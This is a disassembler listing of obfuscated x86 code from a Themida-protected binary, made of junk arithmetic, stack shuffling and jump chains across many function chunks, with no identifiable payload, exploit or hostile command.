loc_56508C:				; CODE XREF: sub_5610CE-5A3j
		xor	ebp, ebx
		pop	ebx
		shl	ebp, 8
		and	ebp, 7EAA6CE7h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		push	ecx
		push	edx
		mov	edx, 0AE4666Ch
		jmp	loc_57123E
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_5650C3:				; CODE XREF: sub_5687A3+C798j
		pop	edx
		jmp	loc_563A66
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5650C9:				; CODE XREF: sub_56CC46-9334j
		push	56A0h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		pop	esi
		push	esi
		jmp	loc_56CEFD
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_5650E2:				; CODE XREF: sub_574000+7j
		push	37E0h
		mov	[esp+8+var_8], edi
		mov	edi, 4AA56783h
		add	edi, 7B3F03E6h
		not	edi
		jmp	loc_56679B
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5736FA


loc_5650FC:				; CODE XREF: sub_5736FA-82j
		mov	[esp+0], ebx
		push	3032AD5Fh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	sub_571289
; END OF FUNCTION CHUNK	FOR sub_5736FA
; ---------------------------------------------------------------------------


loc_565112:				; CODE XREF: Themida_:00566A58j
		pop	esp
		mov	[esp], ebx
		push	63560694h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_563EAA
; ---------------------------------------------------------------------------


loc_565128:				; CODE XREF: Themida_:00563E06j
		add	ebx, 29A1DD5Fh
		sub	edx, ebx
		pop	ebx
		add	edx, 389E1CBCh
		add	ebx, edx
		jmp	loc_57491C

; =============== S U B	R O U T	I N E =======================================



sub_56513E	proc near		; CODE XREF: sub_56D69D+4811j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00562890 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005674CD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B2FA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005743FB SIZE 00000017 BYTES

		push	ebp
		push	0AC7A34h
		pop	ebp
		not	ebp
		sub	esp, 4
		jmp	loc_5674CD
sub_56513E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_56514F:				; CODE XREF: sub_574949-13AACj
		inc	dh
		xor	dh, 2Fh
		add	dh, 10h
		jmp	loc_56E1C6
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56515C:				; CODE XREF: sub_56FA44+B80j
		sub	esi, 4
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+8+var_8], edi
		mov	edi, 55936F62h
		dec	edi
		shr	edi, 7
		xor	edi, 86F6C0Ah
		add	edi, 0F73BB530h
		mov	ebp, edi
		jmp	loc_56CD88
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_56518D:				; CODE XREF: sub_566B37+D80Fj
		sub	eax, esi
		jmp	loc_56855F
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575328


loc_565194:				; CODE XREF: sub_575328-11D6j
		xor	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_56854C
; END OF FUNCTION CHUNK	FOR sub_575328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5735AA


loc_56519D:				; CODE XREF: sub_5735AA+19j
		dec	ecx
		xchg	ecx, esi
		add	esi, 5D82561Ah
		sub	ecx, esi
		jmp	loc_566837
; END OF FUNCTION CHUNK	FOR sub_5735AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_5651AD:				; CODE XREF: sub_561F05+DE3Dj
		pop	esi
		and	ebx, ebp
		pop	ebp
		xor	ebx, 2C430C84h
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 5DD3089Ah
		shr	esi, 8
		neg	esi
		sub	esi, 0FFA22CF4h
		sub	edi, esi
		pop	esi
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], esi
		push	37F0h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	esi
		jmp	sub_562EB3
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_5651F2:				; CODE XREF: sub_56F3B2-AEFj
		pop	[esp+8+var_8]
		jmp	loc_56DBE5
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_5651FA:				; CODE XREF: sub_56B577+30BFj
		xchg	esi, [esp+4+var_4]
		jmp	loc_56F718
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_565202:				; CODE XREF: sub_56DD54-C1CDj
		pop	ebp
		push	edx
		xor	dword ptr [esp+0], 4C441156h
		mov	esi, [esp+0]
		add	esp, 4
		xor	esi, 4C441156h
		jmp	loc_56C378
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56521C:				; CODE XREF: sub_5638E4+BDC9j
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_5635A6
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_565228:				; CODE XREF: sub_573167+493j
		sub	ecx, 59726BFAh
		xor	ecx, 0A270F8Eh
		mov	edx, ecx
		pop	ecx
		push	eax
		mov	eax, edx
		push	eax
		add	[esp+10h+var_10], 5DAF43E9h
		jmp	loc_56DFAA
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_565247:				; CODE XREF: sub_568764-8312j
		mov	ebp, esp
		jmp	loc_5710AC
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_56524E:				; CODE XREF: sub_56FCD7-4B14j
		pop	[esp+10h+var_10]
		jmp	loc_56F265
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_565256:				; CODE XREF: sub_567D31-21DBj
		push	esi
		mov	esi, 78A40990h
		push	3FF0h
		mov	[esp+0], ecx
		push	72B3705Fh
		pop	ecx
		push	ebx
		push	edi
		jmp	loc_565383
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_565271:				; CODE XREF: sub_56E05C+605Cj
		mov	ebp, edi
		pop	edi
		dec	ebp
		shl	ebp, 4
		jmp	loc_56087B
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56527D:				; CODE XREF: sub_563A7F+2D17j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Eh+var_10+2]
		pop	esp
		retn
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
		jmp	loc_56A8F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_565290:				; CODE XREF: sub_574656-CF5Cj
		xor	edx, 0F203F833h
		mov	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 640547C1h
		sub	eax, ebp
		mov	ebp, [esp+10h+var_10]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_569BE7
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_5652B5:				; CODE XREF: sub_573167-A7EEj
		mov	edx, [esp+4+var_4]
		add	esp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	ebx
		push	4610h
		push	esp
		pop	[esp+8+var_8]
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		add	[esp+8+var_4], ebx
		pop	ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56901B
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_5652F3:				; CODE XREF: sub_5684A6-7081j
		not	[esp+0Ch+var_C]
		pop	ecx
		push	ebx
		jmp	loc_56E9A0
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570019


loc_5652FD:				; CODE XREF: sub_570019-C26Ej
		push	ecx
		push	eax
		push	33FB1D44h
		pop	eax
		inc	eax
		sub	eax, 33FB1D41h
		mov	ecx, eax
		pop	eax
		add	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 7BCB52CBh
		push	edi
		mov	edi, 760A5155h
		and	ebp, edi
		pop	edi
		shl	ebp, 1
		add	ebp, 0FFFFFFFFh
		xor	ebp, 0E414A085h
		push	5775h
		mov	[esp+4+var_4], ebx
		jmp	loc_5680BB
; END OF FUNCTION CHUNK	FOR sub_570019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_56533B:				; CODE XREF: sub_570621-E048j
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_566FD7
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_565346:				; CODE XREF: sub_570CE4+2B83j
		pop	ecx
		xor	esi, ebp
		pop	ebp
		push	282Bh
		mov	[esp+8+var_8], ebp
		push	eax
		jmp	sub_569B75
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573167


loc_565358:				; CODE XREF: sub_573167-5199j
		push	dword ptr [esp+4]
		jmp	loc_568F59
; END OF FUNCTION CHUNK	FOR sub_573167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_565361:				; CODE XREF: sub_5681F5+35ACj
		push	467967BBh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		or	ebx, 4E224C46h
		shl	ebx, 2
		sub	ebx, 5C75120h
		jmp	loc_563498
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_565383:				; CODE XREF: sub_567D31-2AC5j
		mov	edi, 3F8370BDh
		or	edi, 73A283Dh
		inc	edi
		jmp	loc_56E561
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_565394:				; CODE XREF: sub_56A608+6j
		mov	[esp-4+arg_0], edi
		mov	edi, 4C5A2B49h
		add	ebp, edi
		pop	edi
		shr	ebp, 8
		xor	ebp, 5CC71919h
		jmp	loc_5607BF
; END OF FUNCTION CHUNK	FOR sub_56A608

; =============== S U B	R O U T	I N E =======================================



sub_5653AD	proc near		; CODE XREF: sub_572270-D226j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056003E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056040D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00561A1A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565886 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566778 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568A1C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569663 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B7AE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BDD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E5D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056E80F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570FF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573EB6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00574128 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 63825A82h
		jmp	loc_573EC9
sub_5653AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5653B8:				; CODE XREF: sub_567D31-6D57j
		sub	ebp, 568F0388h
		mov	esi, ebp
		pop	ebp
		or	esi, 3C3169D6h
		xor	esi, 468C2A9Bh
		push	ebp
		jmp	loc_5718C0
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5653D3:				; CODE XREF: sub_5620B7+5307j
		pop	cx
		shr	bh, 5
		xor	bh, 89h
		add	al, bh
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		push	3C4Ch
		jmp	loc_561557
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_5653F6:				; CODE XREF: sub_566078+D790j
		pop	ecx
		jmp	loc_5662E9
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5653FC:				; CODE XREF: sub_5685B2-674Bj
		add	ebp, 0F2E9689h
		mov	edx, ebp
		pop	ebp
		mov	ecx, 2BD7B6D6h
		add	ecx, edx
		jmp	loc_562A5B
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------


loc_565411:				; CODE XREF: Themida_:00569AD0j
		mov	[esp], ecx
		mov	ecx, 652248CDh
		inc	ecx
		sub	ecx, 71BA4A26h
		jmp	loc_567A27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_565425:				; CODE XREF: sub_560844+137FFj
		shl	esi, 1
		sub	esi, 0B8111B2Fh
		mov	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 22622D6h
		jmp	loc_56760D
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56543E:				; CODE XREF: sub_5605BC+5262j
		add	ebp, 8293D3BCh
		xor	ecx, ebp
		pop	ebp
		mov	ebp, ecx
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp+28h+var_28]
		add	esp, 4
		or	eax, eax
		jz	loc_562EEF
		push	569Fh
		jmp	loc_56049F
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_565464:				; CODE XREF: sub_56FB8A-73AFj
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_563714
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_565472:				; CODE XREF: sub_5745B5-12B3j
		push	edx
		mov	dh, 7Fh
		neg	dh
		not	dh
		xor	dh, 0AEh
		add	al, dh
		pop	edx
		add	al, dh
		sub	al, 0D0h
		jmp	loc_561623
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564686


loc_565488:				; CODE XREF: sub_564686+129Fj
		mov	esp, [esp+0]
		sub	esp, 4
		jmp	loc_56F7CC
; END OF FUNCTION CHUNK	FOR sub_564686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_565493:				; CODE XREF: sub_573612-5D84j
		add	esi, 4
		jmp	loc_564A02
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56549E:				; CODE XREF: sub_564D26+DA3Dj
		sub	[esp+0Ch+var_8], 2D1D6AF0h
		push	[esp+0Ch+var_C]
		jmp	loc_56D33B
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_5654AE:				; CODE XREF: sub_5713A7+32j
		mov	eax, 25B51C2Ah
		add	edx, 59496BD2h
		jmp	loc_5728D0
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5654BE:				; CODE XREF: sub_563A7F+383Dj
		push	[esp+0Ah+var_C+2]
		mov	esi, [esp+0Eh+var_10+2]
		push	1F70h
		jmp	loc_5716B7
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_5654CE:				; CODE XREF: sub_574304-8F1Aj
		mov	[esp+4+var_4], eax
		push	2ED9h
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xchg	eax, ebp
		push	eax
		not	[esp+8+var_8]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	ebp
		push	5418h
		jmp	loc_567BE6
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_565502:				; CODE XREF: sub_56FCD7-DDDFj
		pop	[esp+8+var_8]
		pop	esp
		jmp	sub_560CF1
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_56550B:				; CODE XREF: sub_561826+E64Bj
		add	esi, 4
		push	edx
		push	edi
		mov	edi, 2
		mov	edx, edi
		jmp	loc_56E743
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56551F:				; CODE XREF: sub_574304-64A5j
		neg	edx
		not	edx
		xor	edx, 1D922FA2h
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_568FB0
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_56553A:				; CODE XREF: sub_572E16-1BBFj
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_560FF5
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56554D:				; CODE XREF: sub_561541+5C57j
		xor	ecx, esi
		jmp	loc_567057
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_565554:				; CODE XREF: sub_5734A7-3C89j
		sub	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 42D40F6h
		sub	esi, edi
		pop	edi
		add	esi, 225F045Ch
		push	edi
		mov	edi, 69C36732h
		sub	esi, 0B35CB5h
		add	esi, edi
		add	esi, 0B35CB5h
		jmp	loc_563C03
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_56557F:				; CODE XREF: sub_5634AF+DA5Bj
		mov	ebp, 2B1E392Bh
		xor	ebp, 32207A10h
		or	ebp, 463A6986h
		xor	ebp, 0AB4415Fh
		push	edx
		push	ecx
		mov	ecx, ebp
		push	ecx
		jmp	loc_5656A0
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5655A0:				; CODE XREF: sub_5620B7+1688j
		add	esp, 4
		jmp	loc_560E40
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_5655A8:				; CODE XREF: sub_56189F+14Bj
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		pop	esp
		movzx	ecx, al
		push	1647h
		mov	[esp+0], ecx
		jmp	loc_570652
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_5655C1:				; CODE XREF: sub_560EA2+CF64j
		pop	esi
		push	ebx
		pop	ebp
		pop	ebx
		sub	eax, 26617FFEh
		add	eax, 3C2B7938h
		add	eax, 655B651Ah
		add	eax, 1545461Bh
		add	eax, ebp
		sub	eax, 1545461Bh
		push	ebx
		jmp	loc_563417
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------


loc_5655E6:				; CODE XREF: Themida_:0056A90Ej
		sub	esp, 4
		jmp	loc_5623FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_5655F1:				; CODE XREF: sub_566078+273j
		push	[esp-4+arg_0]
		jmp	loc_56880E
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_5655F9:				; CODE XREF: sub_565849+8427j
		sub	ebx, edx
		pop	edx
		sub	edx, ebx
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, 181377C0h
		add	edx, ebp
		pop	ebp
		jmp	loc_567EC8
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_565616:				; CODE XREF: sub_5738F4-C9FBj
		push	2D17h
		jmp	loc_56210B
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_565620:				; CODE XREF: sub_56CC46+626Dj
		pop	edx
		jmp	loc_56B758
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_565626:				; CODE XREF: sub_56D69D+570Fj
		pop	edx
		jmp	loc_571E91
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56562C:				; CODE XREF: sub_570732-92Fj
		pop	esi
		jmp	loc_5690D5
; END OF FUNCTION CHUNK	FOR sub_570732

; =============== S U B	R O U T	I N E =======================================



sub_565632	proc near		; CODE XREF: sub_56651E+2C91j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 005609B5 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563B6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005665D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005670EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056739E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567CD4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567E4A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568776 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568808 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568FD7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A99B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B517 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056B6DD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056BBC6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056C098 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C2DA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C52E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CAE8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056D428 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DAF0 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056DDA3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E289 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056E45D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056F26D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F2EA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F3EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F4B3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F837 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570305 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570865 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00570971 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00571958 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571CC7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571FBD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057258F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572A4C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573D30 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00574716 SIZE 00000006 BYTES

		sub	esp, 4
		jmp	loc_567E4A
sub_565632	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56563A:				; CODE XREF: sub_561418+A944j
		mov	[esp+14h+var_14], ebp
		push	5FBA31A4h
		push	[esp+18h+var_18]
		pop	ebp
		jmp	loc_56622C
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56564B:				; CODE XREF: sub_574304+3j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		jmp	loc_5734B3
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_56565A:				; CODE XREF: sub_572669+1j
		mov	ebx, 23105BCFh
		add	edx, ebx
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_568537
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_565669:				; CODE XREF: sub_5634AF+365j
		sub	edx, 25C36349h
		add	edx, 90E1B49h
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56567A:				; CODE XREF: sub_567D31+B52Fj
		add	esi, 48C03077h
		pop	ebx
		and	ecx, esi
		mov	esi, [esp-4+arg_0]
		jmp	sub_56C83E
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_56568B:				; CODE XREF: sub_560CF1+F207j
		mov	eax, [esp+14h+var_14]
		jmp	loc_5639E7
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_565693:				; CODE XREF: sub_572641-11CA5j
		add	esp, 2
		xor	dl, 99h
		mov	bl, dl
		jmp	loc_569FEE
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_5656A0:				; CODE XREF: sub_5634AF+20ECj
		add	dword ptr [esp+0], 57472D9Fh
		jmp	loc_5645C5
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_5656AC:				; CODE XREF: sub_561826+1318Fj
		xor	[esp+6+var_6], bp
		jmp	loc_575465
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5656B5:				; CODE XREF: sub_57354D-93CCj
		xor	eax, edx
		push	esi
		mov	esi, 264438C1h
		push	ebp
		jmp	loc_56788D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_5656C3:				; CODE XREF: sub_569FB8+B1B2j
		mov	ebp, 38690BB6h
		xor	ebp, 38690BB4h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+6+var_6]
		jmp	loc_560643
; END OF FUNCTION CHUNK	FOR sub_569FB8
